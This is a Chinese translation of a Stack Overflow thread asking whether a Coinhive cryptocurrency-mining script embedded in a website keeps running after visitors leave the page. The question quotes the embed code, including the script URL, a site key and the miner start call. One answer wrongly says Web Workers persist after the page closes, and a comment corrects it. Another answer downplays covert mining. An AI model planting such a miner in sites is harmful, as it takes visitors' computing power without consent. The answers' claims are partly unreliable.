一个带有比特币挖矿脚本的网站。

11
我发现我的一些用户访问了一个网站,该网站似乎在代码中包含有比特币挖掘JS脚本:

我发现我的一些用户访问了一个网站,该网站似乎在代码中包含有比特币挖掘JS脚本:

<script src = "hxxps://coin-hive.com/lib/coinhive.min.js"></script><script>
var miner = new CoinHive.Anonymous('3858f62230ac3c915f300c664312c63f');
miner.start();
</script>

我的问题是,即使用户离开了页面,这些程序仍然会感染用户吗?这些程序只有在用户在浏览器中打开页面时才能起作用吗?


7
分别是“不”和“是”。 - Dai
1
了解一下Service Workers,它们提供了一定程度的持久性(并且可以被滥用以提供更多)。 - SLaks
谢谢@SLaks,我已经检查了页面和js脚本,发现它没有使用Service Workers。不过,了解它们对于未来很有好处。 - user92592
它使用它们。请检查我的答案。 - Artem Arkhipov
@ArtemArkhipov:你把Web Workers和Service Workers搞混了。 - SLaks
3个回答

11

如果用户离开网页,他们仍然会被感染吗?

不会

这种程序只有在用户打开网页时才能运行吗?

是的,在页面在浏览器中打开期间,脚本才会运行。

更新:

关于此脚本的更多信息:https://coin-hive.com/

Coinhive 提供了一个 Monero 区块链的 JavaScript 挖矿程序(...),你可以将其嵌入到你的网站中。你的用户直接在他们的浏览器中运行挖矿程序

https://coin-hive.com/documentation/miner

挖矿程序在你明确停止它或用户离开网页之前一直在运行。


8

Coinhive似乎并不是“恶意软件”,因为它似乎对用户的计算机没有什么特别有害的影响。如果是这样,那么用户的计算机从未被“感染”。

当今网站通常会在后台加载大量的第三方脚本和Cookie,并且每次使用互联网时都会做出数百种您不知道的事情。大多数站点在您访问它们时会加载Google Analytics跟踪脚本,即使您没有授权它们这样做。但这不会被认为是恶意软件。大多数站点加载持久的第三方Cookie,跟踪您的存在,从一个网站到另一个网站,并创建您在线习惯的大量资料。这就是为什么您可能在一个网站上购物,然后突然发现Facebook正在向您展示与鞋子有关的广告。但这通常也不被认为是恶意软件。

就“有害性”或“无意义的活动”而言,持续跟踪可能比加密货币挖掘脚本更具侵入性。加密货币挖掘脚本可能只是使用最终用户计算机的一些内存和CPU功率,这与在后台加载的数百个其他JavaScript库没有什么不同。


4

我不熟悉coin-hive服务,但是您提供的脚本实际上包含了这样的代码行:

    var JobThread = function() {
            this.worker = new Worker(CoinHive.CRYPTONIGHT_WORKER_BLOB);
            this.worker.onmessage = this.onReady.bind(this);
            ...
    };

正如你所见,它正在使用Workers。我没有调查整个脚本,但是无论如何,使用Web Workers意味着一些操作甚至在页面关闭后仍然可以运行。更多信息请参见此帖子
因此,您问题的第一个答案是:是的,在页面关闭后,用户可能会在一段时间内被感染(理论上,如果脚本是这样编写的)。
但实际上,系统似乎很快就会终止脚本。另外,Coin-Hive平台不被定位为恶意软件,对于用户系统应该是安全的。我认为您不用担心这个问题。

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接